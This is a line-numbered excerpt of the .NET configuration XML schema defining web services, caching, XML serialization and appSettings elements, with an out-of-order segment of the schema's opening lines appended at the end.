3485 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3486 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3487 </xs:complexType>
3488 </xs:element>
3489 <xs:element name="remove" vs:help="configuration/system.web/webServices/protocols/remove">
3490 <xs:complexType>
3491 <xs:attribute name="name" use="optional">
3492 <xs:simpleType>
3493 <xs:union>
3494 <xs:simpleType>
3495 <xs:restriction base="xs:NMTOKEN">
3496 <xs:enumeration value="AnyHttpSoap" />
3497 <xs:enumeration value="Documentation" />
3498 <xs:enumeration value="HttpGet" />
3499 <xs:enumeration value="HttpPost" />
3500 <xs:enumeration value="HttpPostLocalhost" />
3501 <xs:enumeration value="HttpSoap" />
3502 <xs:enumeration value="HttpSoap12" />
3503 <xs:enumeration value="Unknown" />
3504 </xs:restriction>
3505 </xs:simpleType>
3506 <xs:simpleType>
3507 <xs:restriction base="xs:string" />
3508 </xs:simpleType>
3509 </xs:union>
3510 </xs:simpleType>
3511 </xs:attribute>
3512 </xs:complexType>
3513 </xs:element>
3514 <xs:element name="clear" vs:help="configuration/system.web/webServices/protocols/clear">
3515 <xs:complexType>
3516 <!--tag is empty-->
3517 </xs:complexType>
3518 </xs:element>
3519 </xs:choice>
3520 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3521 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3522 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3523 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3524 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3525 </xs:complexType>
3526 </xs:element>
3527 <xs:element name="serviceDescriptionFormatExtensionTypes" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes">
3528 <xs:complexType>
3529 <xs:choice minOccurs="0" maxOccurs="unbounded">
3530 <xs:element name="add" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/add">
3531 <xs:complexType>
3532 <xs:attribute name="type" type="xs:string" use="optional" />
3533 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3534 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3535 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3536 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3537 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3538 </xs:complexType>
3539 </xs:element>
3540 <xs:element name="remove" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/remove">
3541 <xs:complexType>
3542 <xs:attribute name="type" type="xs:string" use="optional" />
3543 </xs:complexType>
3544 </xs:element>
3545 <xs:element name="clear" vs:help="configuration/system.web/webServices/serviceDescriptionFormatExtensionTypes/clear">
3546 <xs:complexType>
3547 <!--tag is empty-->
3548 </xs:complexType>
3549 </xs:element>
3550 </xs:choice>
3551 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3552 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3553 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3554 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3555 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3556 </xs:complexType>
3557 </xs:element>
3558 <xs:element name="soapEnvelopeProcessing" vs:help="configuration/system.web/webServices/soapEnvelopeProcessing">
3559 <xs:complexType>
3560 <xs:attribute name="strict" type="small_boolean_Type" use="optional" />
3561 <xs:attribute name="readTimeout" use="optional">
3562 <xs:simpleType>
3563 <xs:union memberTypes="xs:int Infinite">
3564 <xs:simpleType>
3565 <xs:restriction base="xs:int" />
3566 </xs:simpleType>
3567 </xs:union>
3568 </xs:simpleType>
3569 </xs:attribute>
3570 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3571 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3572 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3573 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3574 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3575 </xs:complexType>
3576 </xs:element>
3577 <xs:element name="soapExtensionImporterTypes" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes">
3578 <xs:complexType>
3579 <xs:choice minOccurs="0" maxOccurs="unbounded">
3580 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/add">
3581 <xs:complexType>
3582 <xs:attribute name="type" type="xs:string" use="optional" />
3583 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3584 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3585 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3586 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3587 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3588 </xs:complexType>
3589 </xs:element>
3590 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/remove">
3591 <xs:complexType>
3592 <xs:attribute name="type" type="xs:string" use="optional" />
3593 </xs:complexType>
3594 </xs:element>
3595 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionImporterTypes/clear">
3596 <xs:complexType>
3597 <!--tag is empty-->
3598 </xs:complexType>
3599 </xs:element>
3600 </xs:choice>
3601 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3602 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3603 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3604 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3605 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3606 </xs:complexType>
3607 </xs:element>
3608 <xs:element name="soapExtensionReflectorTypes" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes">
3609 <xs:complexType>
3610 <xs:choice minOccurs="0" maxOccurs="unbounded">
3611 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/add">
3612 <xs:complexType>
3613 <xs:attribute name="type" type="xs:string" use="optional" />
3614 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3615 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3616 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3617 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3618 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3619 </xs:complexType>
3620 </xs:element>
3621 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/remove">
3622 <xs:complexType>
3623 <xs:attribute name="type" type="xs:string" use="optional" />
3624 </xs:complexType>
3625 </xs:element>
3626 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionReflectorTypes/clear">
3627 <xs:complexType>
3628 <!--tag is empty-->
3629 </xs:complexType>
3630 </xs:element>
3631 </xs:choice>
3632 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3633 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3634 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3635 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3636 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3637 </xs:complexType>
3638 </xs:element>
3639 <xs:element name="soapExtensionTypes" vs:help="configuration/system.web/webServices/soapExtensionTypes">
3640 <xs:complexType>
3641 <xs:choice minOccurs="0" maxOccurs="unbounded">
3642 <xs:element name="add" vs:help="configuration/system.web/webServices/soapExtensionTypes/add">
3643 <xs:complexType>
3644 <xs:attribute name="group" use="optional">
3645 <xs:simpleType>
3646 <xs:restriction base="xs:NMTOKEN">
3647 <xs:enumeration value="High" />
3648 <xs:enumeration value="Low" />
3649 </xs:restriction>
3650 </xs:simpleType>
3651 </xs:attribute>
3652 <xs:attribute name="priority" use="optional">
3653 <xs:simpleType>
3654 <xs:restriction base="xs:int">
3655 <xs:minInclusive value="0" />
3656 </xs:restriction>
3657 </xs:simpleType>
3658 </xs:attribute>
3659 <xs:attribute name="type" type="xs:string" use="optional" />
3660 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3661 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3662 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3663 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3664 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3665 </xs:complexType>
3666 </xs:element>
3667 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapExtensionTypes/remove">
3668 <xs:complexType>
3669 <xs:attribute name="group" use="optional">
3670 <xs:simpleType>
3671 <xs:restriction base="xs:NMTOKEN">
3672 <xs:enumeration value="High" />
3673 <xs:enumeration value="Low" />
3674 </xs:restriction>
3675 </xs:simpleType>
3676 </xs:attribute>
3677 <xs:attribute name="priority" use="optional">
3678 <xs:simpleType>
3679 <xs:restriction base="xs:int">
3680 <xs:minInclusive value="0" />
3681 </xs:restriction>
3682 </xs:simpleType>
3683 </xs:attribute>
3684 <xs:attribute name="type" type="xs:string" use="optional" />
3685 </xs:complexType>
3686 </xs:element>
3687 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapExtensionTypes/clear">
3688 <xs:complexType>
3689 <!--tag is empty-->
3690 </xs:complexType>
3691 </xs:element>
3692 </xs:choice>
3693 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3694 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3695 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3696 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3697 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3698 </xs:complexType>
3699 </xs:element>
3700 <xs:element name="soapServerProtocolFactory" vs:help="configuration/system.web/webServices/soapServerProtocolFactory">
3701 <xs:complexType>
3702 <xs:attribute name="type" type="xs:string" use="optional" />
3703 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3704 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3705 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3706 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3707 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3708 </xs:complexType>
3709 </xs:element>
3710 <xs:element name="soapTransportImporterTypes" vs:help="configuration/system.web/webServices/soapTransportImporterTypes">
3711 <xs:complexType>
3712 <xs:choice minOccurs="0" maxOccurs="unbounded">
3713 <xs:element name="add" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/add">
3714 <xs:complexType>
3715 <xs:attribute name="type" type="xs:string" use="optional" />
3716 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3717 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3718 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3719 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3720 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3721 </xs:complexType>
3722 </xs:element>
3723 <xs:element name="remove" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/remove">
3724 <xs:complexType>
3725 <xs:attribute name="type" type="xs:string" use="optional" />
3726 </xs:complexType>
3727 </xs:element>
3728 <xs:element name="clear" vs:help="configuration/system.web/webServices/soapTransportImporterTypes/clear">
3729 <xs:complexType>
3730 <!--tag is empty-->
3731 </xs:complexType>
3732 </xs:element>
3733 </xs:choice>
3734 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3735 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3736 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3737 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3738 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3739 </xs:complexType>
3740 </xs:element>
3741 <xs:element name="wsdlHelpGenerator" vs:help="configuration/system.web/webServices/wsdlHelpGenerator">
3742 <xs:complexType>
3743 <xs:attribute name="href" type="xs:string" use="required" />
3744 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3745 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3746 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3747 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3748 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3749 </xs:complexType>
3750 </xs:element>
3751 </xs:choice>
3752 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3753 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3754 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3755 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3756 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3757 <xs:attribute name="configSource" type="xs:string" use="optional" />
3758 </xs:complexType>
3759 </xs:element>
3760 <xs:element name="xhtmlConformance" vs:help="configuration/system.web/xhtmlConformance">
3761 <xs:complexType>
3762 <xs:attribute name="mode" use="optional">
3763 <xs:simpleType>
3764 <xs:restriction base="xs:NMTOKEN">
3765 <xs:enumeration value="Legacy" />
3766 <xs:enumeration value="Strict" />
3767 <xs:enumeration value="Transitional" />
3768 </xs:restriction>
3769 </xs:simpleType>
3770 </xs:attribute>
3771 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3772 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3773 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3774 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3775 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3776 <xs:attribute name="configSource" type="xs:string" use="optional" />
3777 </xs:complexType>
3778 </xs:element>
3779 <xs:element name="caching" vs:help="configuration/system.web/caching">
3780 <xs:complexType>
3781 <xs:choice minOccurs="0" maxOccurs="unbounded">
3782 <xs:element name="cache" vs:help="configuration/system.web/caching/cache">
3783 <xs:complexType>
3784 <xs:attribute name="disableExpiration" type="small_boolean_Type" use="optional" />
3785 <xs:attribute name="disableMemoryCollection" type="small_boolean_Type" use="optional" />
3786 <xs:attribute name="percentagePhysicalMemoryUsedLimit" use="optional">
3787 <xs:simpleType>
3788 <xs:restriction base="xs:int">
3789 <xs:minInclusive value="0" />
3790 </xs:restriction>
3791 </xs:simpleType>
3792 </xs:attribute>
3793 <xs:attribute name="privateBytesLimit" type="xs:int" use="optional" />
3794 <xs:attribute name="privateBytesPollTime" type="xs:string" use="optional" />
3795 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3796 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3797 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3798 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3799 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3800 <xs:attribute name="configSource" type="xs:string" use="optional" />
3801 </xs:complexType>
3802 </xs:element>
3803 <xs:element name="outputCache" vs:help="configuration/system.web/caching/outputCache">
3804 <xs:complexType>
3805 <xs:attribute name="enableFragmentCache" type="small_boolean_Type" use="optional" />
3806 <xs:attribute name="enableOutputCache" type="small_boolean_Type" use="optional" />
3807 <xs:attribute name="omitVaryStar" type="small_boolean_Type" use="optional" />
3808 <xs:attribute name="sendCacheControlHeader" type="small_boolean_Type" use="optional" />
3809 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3810 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3811 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3812 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3813 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3814 <xs:attribute name="configSource" type="xs:string" use="optional" />
3815 </xs:complexType>
3816 </xs:element>
3817 <xs:element name="outputCacheSettings" vs:help="configuration/system.web/caching/outputCacheSettings">
3818 <xs:complexType>
3819 <xs:choice minOccurs="0" maxOccurs="unbounded">
3820 <xs:element name="outputCacheProfiles" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles">
3821 <xs:complexType>
3822 <xs:choice minOccurs="0" maxOccurs="unbounded">
3823 <xs:element name="add" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/add">
3824 <xs:complexType>
3825 <xs:attribute name="duration" type="xs:int" use="optional" />
3826 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3827 <xs:attribute name="location" use="optional">
3828 <xs:simpleType>
3829 <xs:restriction base="xs:NMTOKEN">
3830 <xs:enumeration value="Any" />
3831 <xs:enumeration value="Client" />
3832 <xs:enumeration value="Downstream" />
3833 <xs:enumeration value="None" />
3834 <xs:enumeration value="Server" />
3835 <xs:enumeration value="ServerAndClient" />
3836 </xs:restriction>
3837 </xs:simpleType>
3838 </xs:attribute>
3839 <xs:attribute name="name" use="required">
3840 <xs:simpleType>
3841 <xs:restriction base="xs:string">
3842 <xs:minLength value="1" />
3843 <xs:whiteSpace value="collapse" />
3844 </xs:restriction>
3845 </xs:simpleType>
3846 </xs:attribute>
3847 <xs:attribute name="noStore" type="small_boolean_Type" use="optional" />
3848 <xs:attribute name="sqlDependency" type="xs:string" use="optional" />
3849 <xs:attribute name="varyByControl" type="xs:string" use="optional" />
3850 <xs:attribute name="varyByCustom" type="xs:string" use="optional" />
3851 <xs:attribute name="varyByHeader" type="xs:string" use="optional" />
3852 <xs:attribute name="varyByParam" type="xs:string" use="optional" />
3853 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3854 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3855 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3856 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3857 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3858 </xs:complexType>
3859 </xs:element>
3860 <xs:element name="remove" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/remove">
3861 <xs:complexType>
3862 <xs:attribute name="name" use="required">
3863 <xs:simpleType>
3864 <xs:restriction base="xs:string">
3865 <xs:minLength value="1" />
3866 <xs:whiteSpace value="collapse" />
3867 </xs:restriction>
3868 </xs:simpleType>
3869 </xs:attribute>
3870 </xs:complexType>
3871 </xs:element>
3872 <xs:element name="clear" vs:help="configuration/system.web/caching/outputCacheSettings/outputCacheProfiles/clear">
3873 <xs:complexType>
3874 <!--tag is empty-->
3875 </xs:complexType>
3876 </xs:element>
3877 </xs:choice>
3878 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3879 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3880 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3881 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3882 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3883 </xs:complexType>
3884 </xs:element>
3885 </xs:choice>
3886 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3887 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3888 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3889 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3890 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3891 <xs:attribute name="configSource" type="xs:string" use="optional" />
3892 </xs:complexType>
3893 </xs:element>
3894 <xs:element name="sqlCacheDependency" vs:help="configuration/system.web/caching/sqlCacheDependency">
3895 <xs:complexType>
3896 <xs:choice minOccurs="0" maxOccurs="unbounded">
3897 <xs:element name="databases" vs:help="configuration/system.web/caching/sqlCacheDependency/databases">
3898 <xs:complexType>
3899 <xs:choice minOccurs="0" maxOccurs="unbounded">
3900 <xs:element name="add" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/add">
3901 <xs:complexType>
3902 <xs:attribute name="connectionStringName" use="required">
3903 <xs:simpleType>
3904 <xs:restriction base="xs:string">
3905 <xs:minLength value="1" />
3906 </xs:restriction>
3907 </xs:simpleType>
3908 </xs:attribute>
3909 <xs:attribute name="name" use="required">
3910 <xs:simpleType>
3911 <xs:restriction base="xs:string">
3912 <xs:minLength value="1" />
3913 </xs:restriction>
3914 </xs:simpleType>
3915 </xs:attribute>
3916 <xs:attribute name="pollTime" type="xs:int" use="optional" />
3917 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3918 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3919 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3920 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3921 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3922 </xs:complexType>
3923 </xs:element>
3924 <xs:element name="remove" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/remove">
3925 <xs:complexType>
3926 <xs:attribute name="name" use="required">
3927 <xs:simpleType>
3928 <xs:restriction base="xs:string">
3929 <xs:minLength value="1" />
3930 </xs:restriction>
3931 </xs:simpleType>
3932 </xs:attribute>
3933 </xs:complexType>
3934 </xs:element>
3935 <xs:element name="clear" vs:help="configuration/system.web/caching/sqlCacheDependency/databases/clear">
3936 <xs:complexType>
3937 <!--tag is empty-->
3938 </xs:complexType>
3939 </xs:element>
3940 </xs:choice>
3941 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3942 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3943 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3944 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3945 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3946 </xs:complexType>
3947 </xs:element>
3948 </xs:choice>
3949 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3950 <xs:attribute name="pollTime" type="xs:int" use="optional" />
3951 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3952 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3953 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3954 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3955 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3956 <xs:attribute name="configSource" type="xs:string" use="optional" />
3957 </xs:complexType>
3958 </xs:element>
3959 </xs:choice>
3960 </xs:complexType>
3961 </xs:element>
3962 </xs:choice>
3963 </xs:complexType>
3964 </xs:element>
3965 <xs:element name="system.xml.serialization" vs:help="configuration/system.xml.serialization">
3966 <xs:complexType>
3967 <xs:choice minOccurs="0" maxOccurs="unbounded">
3968 <xs:element name="dateTimeSerialization" vs:help="configuration/system.xml.serialization/dateTimeSerialization">
3969 <xs:complexType>
3970 <xs:attribute name="mode" use="optional">
3971 <xs:simpleType>
3972 <xs:restriction base="xs:NMTOKEN">
3973 <xs:enumeration value="Default" />
3974 <xs:enumeration value="Local" />
3975 <xs:enumeration value="Roundtrip" />
3976 </xs:restriction>
3977 </xs:simpleType>
3978 </xs:attribute>
3979 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3980 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3981 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3982 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3983 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3984 <xs:attribute name="configSource" type="xs:string" use="optional" />
3985 </xs:complexType>
3986 </xs:element>
3987 <xs:element name="schemaImporterExtensions" vs:help="configuration/system.xml.serialization/schemaImporterExtensions">
3988 <xs:complexType>
3989 <xs:choice minOccurs="0" maxOccurs="unbounded">
3990 <xs:element name="add" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/add">
3991 <xs:complexType>
3992 <xs:attribute name="name" type="xs:string" use="required" />
3993 <xs:attribute name="type" type="xs:string" use="optional" />
3994 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3995 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3996 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3997 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3998 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3999 </xs:complexType>
4000 </xs:element>
4001 <xs:element name="remove" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/remove">
4002 <xs:complexType>
4003 <xs:attribute name="name" type="xs:string" use="required" />
4004 </xs:complexType>
4005 </xs:element>
4006 <xs:element name="clear" vs:help="configuration/system.xml.serialization/schemaImporterExtensions/clear">
4007 <xs:complexType>
4008 <!--tag is empty-->
4009 </xs:complexType>
4010 </xs:element>
4011 </xs:choice>
4012 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
4013 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
4014 <xs:attribute name="lockElements" type="xs:string" use="optional" />
4015 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
4016 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
4017 <xs:attribute name="configSource" type="xs:string" use="optional" />
4018 </xs:complexType>
4019 </xs:element>
4020 <xs:element name="xmlSerializer" vs:help="configuration/system.xml.serialization/xmlSerializer">
4021 <xs:complexType>
4022 <xs:attribute name="checkDeserializeAdvances" type="small_boolean_Type" use="optional" />
4023 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
4024 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
4025 <xs:attribute name="lockElements" type="xs:string" use="optional" />
4026 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
4027 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
4028 <xs:attribute name="configSource" type="xs:string" use="optional" />
4029 </xs:complexType>
4030 </xs:element>
4031 </xs:choice>
4032 </xs:complexType>
4033 </xs:element>
0 <?xml version="1.0" encoding="us-ascii"?>
1 <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vs="http://schemas.microsoft.com/Visual-Studio-Intellisense" elementFormDefault="qualified" attributeFormDefault="unqualified" vs:helpNamespace="http://schemas.microsoft.com/.NetConfiguration/v2.0">
2 <xs:element name="configuration">
3 <xs:complexType>
4 <xs:choice minOccurs="0" maxOccurs="unbounded">
5 <xs:any namespace="##any" processContents="lax" />
6 </xs:choice>
7 </xs:complexType>
8 </xs:element>
9 <xs:element name="location">
10 <xs:complexType>
11 <xs:choice>
12 <xs:any namespace="##any" processContents="lax" />
13 </xs:choice>
14 <xs:attribute name="path" type="xs:string" use="optional" />
15 <xs:attribute name="allowOverride" type="small_boolean_Type" use="optional" />
16 </xs:complexType>
17 </xs:element>
18 <xs:element name="configSections" type="configSections_type" />
19 <xs:complexType name="configSectionGroup_type">
20 <xs:choice>
21 <xs:group ref="configTypeDefinition" maxOccurs="unbounded" />
22 </xs:choice>
23 <xs:attribute name="name" type="xs:string" use="required" />
24 <xs:attribute name="type" type="xs:string" use="optional" />
25 </xs:complexType>
26 <xs:complexType name="configSections_type">
27 <xs:choice minOccurs="0" maxOccurs="unbounded">
28 <xs:group ref="configTypeDefinition" minOccurs="0" maxOccurs="unbounded" />
29 </xs:choice>
30 </xs:complexType>
31 <xs:group name="configTypeDefinition">
32 <xs:choice>
33 <xs:element name="section" type="configSection_section" minOccurs="0" maxOccurs="unbounded" />
34 <xs:element name="sectionGroup" type="configSectionGroup_type" minOccurs="0" maxOccurs="unbounded" />
35 </xs:choice>
36 </xs:group>
37 <xs:complexType name="configSection_section">
38 <xs:attribute name="name" type="xs:string" use="required" />
39 <xs:attribute name="type" type="xs:string" use="required" />
40 <xs:attribute name="requirePermission" type="boolean_Type" use="optional" />
41 <xs:attribute name="allowLocation" type="boolean_Type" use="optional" />
42 <xs:attribute name="allowOverride" type="boolean_Type" use="optional" />
43 <xs:attribute name="restartOnExternalChanges" type="boolean_Type" use="optional" />
44 <xs:attribute name="allowDefinition" use="optional">
45 <xs:simpleType>
46 <xs:restriction base="xs:string">
47 <xs:enumeration value="MachineToWebRoot" />
48 <xs:enumeration value="MachineToApplication" />
49 <xs:enumeration value="MachineOnly" />
50 <xs:enumeration value="Everywhere" />
51 </xs:restriction>
52 </xs:simpleType>
53 </xs:attribute>
54 <xs:attribute name="allowExeDefinition" use="optional">
55 <xs:simpleType>
56 <xs:restriction base="xs:string">
57 <xs:enumeration value="MachineOnly" />
58 <xs:enumeration value="MachineToApplication" />
59 <xs:enumeration value="MachineToLocalUser" />
60 <xs:enumeration value="MachineToRoamingUser" />
61 </xs:restriction>
62 </xs:simpleType>
63 </xs:attribute>
64 </xs:complexType>
65 <xs:simpleType name="Infinite_or_int">
66 <xs:union memberTypes="Infinite xs:int" />
67 </xs:simpleType>
68 <xs:simpleType name="Infinite">
69 <xs:restriction base="xs:string">
70 <xs:enumeration value="Infinite" />
71 </xs:restriction>
72 </xs:simpleType>
73 <xs:simpleType name="small_boolean_Type">
74 <xs:restriction base="xs:NMTOKEN">
75 <xs:enumeration value="false" />
76 <xs:enumeration value="true" />
77 </xs:restriction>
78 </xs:simpleType>
79 <xs:simpleType name="boolean_Type">
80 <xs:restriction base="xs:NMTOKEN">
81 <xs:enumeration value="false" />
82 <xs:enumeration value="true" />
83 <xs:enumeration value="True" />
84 <xs:enumeration value="False" />
85 </xs:restriction>
86 </xs:simpleType>
87 <xs:element name="appSettings" vs:help="configuration/appSettings">
88 <xs:complexType>
89 <xs:choice minOccurs="0" maxOccurs="unbounded">
90 <xs:element name="add" vs:help="configuration/appSettings/add">
91 <xs:complexType>
92 <xs:attribute name="key" type="xs:string" use="optional" />
93 <xs:attribute name="value" type="xs:string" use="optional" />
94 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
95 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
